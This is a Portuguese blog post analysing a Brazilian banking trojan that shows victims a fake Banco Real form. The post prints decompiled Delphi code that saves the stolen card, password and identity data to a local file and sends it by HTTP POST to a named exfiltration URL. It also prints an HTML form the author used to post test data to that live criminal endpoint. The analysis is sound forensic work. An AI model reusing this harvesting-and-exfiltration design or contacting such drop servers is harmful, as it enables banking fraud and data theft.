sábado, 22 de janeiro de 2011

Análise do Malware Real-SecureWeb.exe Parte 2

No artigo anterior apresentei a análise do arquivo Real-SecureWeb.exe e vimos que se tratava de um malware banker tentando capturar informações dos clientes do banco Real Santander. Para uma melhor compreensão dessa segunda parte sugiro a leitura da anterior.

Conforme foi constado nos logs capturados pelo Process Monitor, o arquivo Real-SecureWeb.exe descompactava e executava dois arquivos: Real.exe e Reals.exe.

E ainda, o arquivo Real.exe gerava um outro chamado indentificando.txt. Isso mesmo, INdentificando, só agora notei essa grafia errada que foi utizada para nomear o arquivo. Isso por sinal é uma constante nesse malware, palavras escritas erradas e expressões chulas.

Vejamos agora a análise de cada um desses três arquivos.

1) Real.exe

O primeiro passo é descobrir se o executável possuí algum compactador (packer), fiz isso utilizando o RDG Packer Detector.


Não foi encontrado nada, identificou a linguagem de programação Borland Delphi v6.0 ou v7.0. Outro detalhe interessante que o RDG apresentou corretamente foi a origem do malware.

Sabendo que é Delphi, podemos tentar a descompilação com o DeDe, que costuma apresentar bons resultados como por exemplo Forms, Units e Eventos recuperados.

Ao submeter o arquivo Real.exe ao DeDe foi identificado o nome do projeto “dragon”, também encontrou um Form chamado “dilma” (!), a Unit chamada “orion” e alguns nomes de componentes. Isso pode ser visto na imagem abaixo.


Sabemos que o Real.exe é responsável por apresentar as telas do malware onde as vítimas digitam os dados e também vimos no artigo anterior que ele cria o arquivo indentificando.txt através dessas diretivas:

03:10:45,1509465,"Real.exe","CreateFile","C:\indentificando.txt"
03:10:45,1523162,"Real.exe","WriteFile","C:\indentificando.txt" 03:10:45,1529191,"Real.exe","CloseFile","C:\indentificando.txt"

No código descompilado não foi possível encontrar esse caminho do arquivo indentificando.txt, isso porque a string está criptografada com uma função interna do malware, através do debug seria possível localizá-la.

Porém, no código há algumas pistas do que esse arquivo pode conter, no Form “dilma” existe um botão “Confirmar” que possui atríbuído ao evento OnClick uma procedure chamada “vaiClick”:

procedure Tdilma.vaiClick(Sender : Tobject);

Nessa procedure, dentre outras coisas, existe a captura de todos os dados que foram digitados nos campos do formulário (componentes TEdit) e ao final esses dados são atribuídos a um componente TMemo que foi nomeado de forma bem culta, “xupameupinto”.

Tdilma.xupameupinto : TMemo

O que se segue são sequências de funções que atribuem ao componente TMemo linhas que contêm um rótulo e a informação que a vítima digitou.

Reference to control Tdilma.xupameupinto : TMemo
Reference to field TMemo.Lines : Tstrings
Possible String Reference to: '********************************'
Reference to method Tstrings.Add(string)
Reference to method TStrings.Add(string)

Reference to control Tdilma.a3 : TEdit
Reference to: Controls.TControl.GetText(TControl):TCaption;
Possible String Reference to: 'AG..........:'

Reference to control Tdilma.xupameupinto : TMemo
Reference to field TMemo.Lines : TStrings
Reference to method TStrings.Add(string)
Reference to control Tdilma.a4 : TEdit
Reference to: Controls.TControl.GetText(TControl):TCaption;
Possible String Reference to: 'Cont........:'

Reference to control Tdilma.xupameupinto : TMemo
Reference to field TMemo.Lines : TStrings
Reference to method TStrings.Add(string)
Reference to control Tdilma.CC : TcomboBox
Reference to: Controls.TControl.GetText(TControl):TCaption;
Possible String Reference to: 'bandeira....:'

Essa sequência se repete para todos os campos Edits, até que no final é utilizado o método Tstrings.SaveToFile(string) e é passada como parâmetro uma string criptografada, que deve ser o caminho “C:\indentificando.txt”.

Possible String Reference to: 'GpfSQMvaPMvqQMPfOs5kP6ykT7Xq'
Reference to: System.@LStrToPChar(String):PAnsiChar;
Reference to method TStrings.SaveToFile(string)

Possible String Reference to: 'Obrigado por sua atenção o Banco Real Santander agradece.'

2) indentificando.txt

Ao analisar o arquivo indentificando.txt foi encontrado esse conteúdo:

********************************
AG..........:1111
Cont........:1111111
bandeira....:Visa
CC..........:1111-1111-1111-1111
vencimento..:1/2014
Senha/3.....:111
disk........:1111
**********************************************
Dados Confirmação
CPF..........................:111.111.111-11
RG...........................:111111111111
Naturalidade.................:aaaaaaaaaa
Nome do Pai..................:aaaaaaaaaaa
Estado Civil.................:aaaaaaaaaaaaaa
nome do corno................:aaaaaaaaaa
escolaridade.................:Pós-Graduação
formado......................:aaaaaaaaa
Profissão....................:aaaaaaaaaa
Empressa Atual...............:aaaaaaaaaaaa
Empresa quando abriu conta...:aaaaaaaaa
Tempo de conta...............:aaaaaaaaaaaa
**********************************************

A Imagem abaixo mostra isso:


O conteúdo corrobora o que foi encontrado nos códigos do Delphi no arquivo Real.exe.

3) Reals.exe

A análise do nosso terceiro arquivo seguiu o mesmo esquema do anterior. Foi identificada a linguagem Delphi e depois feita a descompilação com o DeDe.

Dessa vez o projeto foi nomeado como “pugaaqui”, o Form “bobiodanco” e a Unit “unidosvaiser”.


Destaque para os nomes dos componentes e procedures da Unit:

carregasualma: TMemo;
tempobom: TTimer;
amuandomtu: TIdHTTP;
procedure goldeletra(Sender : TObject);
procedure tempobomTimer(Sender : TObject);

Vejamos o que a procedure tempobomTimer faz.

procedure Tbobiodanco.tempobomTimer(Sender : TObject);
begin
Possible String Reference to: 'C:\indentificando.txt'
Reference to: SysUtils.FileExists(AnsiString):Boolean;
Reference to control Tbobiodanco.carregasualma : TMemo
Reference to field TMemo.Lines : TStrings
Possible String Reference to: 'C:\indentificando.txt'
Reference to method TStrings.LoadFromFile(string)
Reference to bobiodanco
Reference to : Tbobiodanco.goldeletra()
end;

Basicamente lê o arquivo indentificando.txt, atribui seu conteúdo ao TMemo e chama a procedure goldeletra.

Vejamos a goldeletra agora.

procedure Tbobiodanco.goldeletra(Sender : TObject);
begin

***** TRY
Reference to class TStringList
Reference to: System.TObject.Create(TObject;Boolean);

Reference to bobiodanco
Reference to control Tbobiodanco.carregasualma : TMemo
Reference to field TMemo.Lines : TStrings
Reference to method TStrings.Put(Integer,string)

Possible String Reference to: 'praque=xxxxxx@gmail.com,yyyyyyy@gmail.com'
Reference to method TStringList.Add(string)

Possible String Reference to: 'titul=xxxxxxxxxxxx'
Reference to method TStringList.Add(string)

Reference to bobiodanco
Reference to control Tbobiodanco.carregasualma : TMemo
Reference to: Controls.TControl.GetText(TControl):TCaption;
Possible String Reference to: 'text='
Reference to: System.@LStrCat3;
Reference to method TStringList.Add(string)

***** TRY
Reference to bobiodanco
Reference to control Tbobiodanco.amuandomtu : TIdHTTP
Possible String Reference to: 'http://esec.ru/upload/noro.php'
Reference to bobiodanco
Reference to control Tbobiodanco.tempobom : TTimer
Reference to: ExtCtrls.TTimer.SetEnabled(TTimer;Boolean);

****** FINALLY
Reference to bobiodanco
Reference to control Tbobiodanco.amuandomtu : TIdHTTP
Reference to: System.TObject.Free(TObject);
Reference to: System.TObject.Free(TObject);
Possible String Reference to: 'C:\indentificando.txt'
Reference to: Grids.TInplaceEdit.Visible(TInplaceEdit):Boolean;
Reference to TApplication instance
Reference to: Forms.TApplication.Terminate(TApplication);
Reference to: System.@HandleFinally;

****** END
****** FINALLY
end;

Vemos aqui quanta informação útil o DeDe conseguiu recuperar através do processo de descompilação do executável.

Essa procedure goldeletra atribui dois endereços de e-mail para a variável “praque”, atribui um título qualquer para a variável “titul” e atribui o conteúdo do componente TMemo para a variável “text”.

Depois através de um componente de conexão HTTP se conecta ao endereço “http://esec.ru/upload/noro.php”. Por fim libera os componentes utilizados.

Então assim como constatei na análise da fraude do iToken Itaú, esse malware utiliza uma página PHP para enviar por e-mail para os fraudadores os dados furtados.

Para testar esse procedimento de envio de e-mail primeiro tentei passar o conteúdo das variáveis pela URL através do método GET digitando no navegador:

http://esec.ru/upload/noro.php?praque=rplmetal@ig.com.br&titul=assunto&text=qualquercoisa

Isso não funcionou, lembrei então que na fraude do iToken era utilizado o método POST de envio de variáveis, assim só poderia enviar as informações através de um formulário HTML.

Criei o formulário HTML com esse código:

<form name="form1" method="post" action="http://esec.ru/upload/noro.php">
Email: <input type="text" name="praque" size="40"><br><br>
Assunto: <input type="text" name="titul" size="40"><br><br>
Texto: <input type="text" name="text" size="40"><br><br>
<input type="submit">
</form>

E enviei com os campos preenchidos conforme a imagem abaixo:


Após clicar no botão Enviar fui conferir meu e-mail para ver se havia chegado a mensagem. Conforme o esperado isso realmente aconteceu:


Conclusão

Ao analisar as duas partes desse artigo nota-se que esse malware é bem direto e objetivo. Executa, solicita as informações, envia por e-mail e depois apaga tudo (tenta pelo menos). Não faz nenhuma modificação no computador além dessas.

O comportamento dele me lembrou do programa utilizado para enviar a declaração de Imposto de Renda. No sistema da Receita Federal utiliza-se um programa para preencher a declaração e salvar no computador e outro (ReceitaNet) para enviar pela Internet.

A mesma coisa acontece com esse golpe, em um programa preenche-se a “declaração” para o fraudador e é salva no computador e o outro envia a “declaração”.

Vimos que com o uso de variadas técnicas e ferramentas podemos obter valiosas informações sobre o comportamento dos malwares.

Comentários?

Comentário enriquecedor feito pelo Rodrigo Lima:

Esse tipo de malware é conhecido no underground dos criminosos como "Módulo de Controle". O objetivo final é obter êxito na fraude através do canal de telefônia existente no Banco Real chamado Disque Real.

Observe que nem os dados de acesso ao Internet Banking é solicitado, as perguntas existentes nesse formulário uma vez capturado da vítima são utilizados durante a engenharia social entre o fraudador e o operador(a) do Disque Real.

Outra coisa são os mais variados tipos de Anti-Virus que em sua grande maioria não classificam esse tipo de arquivo como malware nem assinatura existe :-(

Mais análises de golpes pela Internet nesse link: Fraudes Bancárias.

Ronaldo Lima
crimesciberneticos.com | twitter.com/crimescibernet

6 comentários:

  1. Olá, Ronaldo!

    O utilitário RDG Packer Detector não pode ser utilizado em perícias forenses, tendo em vista que é identificado como malware por várias empresas de segurança. Ex: http://goo.gl/RzHNV

    Att,
    Panda

    ResponderExcluir
  2. Olá Panda,

    Não sabia disso, obrigado pela dica!
    Em relação a esse artigo poderia ser utilizado o PEiD que conseguiria o mesmo resultado, e esse é bastante aceito no meio.

    Abraço!

    ResponderExcluir
  3. Ronaldo,

    Esse tipo de malware é conhecido no underground dos criminosos como "Módulo de Controle" o objetivo final é obter êxito na fraude através do canal de telefônia existente no Banco Real chamado Disque Real.

    Observe que nem os dados de acesso ao Internet Banking é solicitado, as perguntas existentes nesse formulário uma vez capturado da vítima são utilizados durante a engenharia social entre o fraudador e o operador(a) do Disque Real.

    Outra coisa são os mais variados tipos de Anti-Virus que em sua grande maioria não classificam esse tipo de arquivo como malware nem assinatura existe :-(

    Forte Abraço,

    Rodrigo Lima

    ResponderExcluir
  4. Olá Rodrigo,

    Muito obrigado pelo seu comentário, enriqueceu bastante o post. Vou adiciona-lo ao artigo ok.

    Abraço!
    Ronaldo

    ResponderExcluir
  5. Ronaldo, o "RDG Packer Detector" não possui link para download no site oficial do utilitário. Incomum, não? Quando a atualização é efetuada a partir do próprio utilitário, onde são baixados os arquivos de atualização?

    ResponderExcluir
  6. Anônimo,

    Muito estranho mesmo, não encontrei o link também.
    A atualização é feita através desses dois endereços:

    http://www.RDGSoFT.8k.com/Actualizacion/
    http://www.egrupos.net/grupo/rdgsoft/ficheros/

    Abraço!

    ResponderExcluir

Related Posts Plugin for WordPress, Blogger...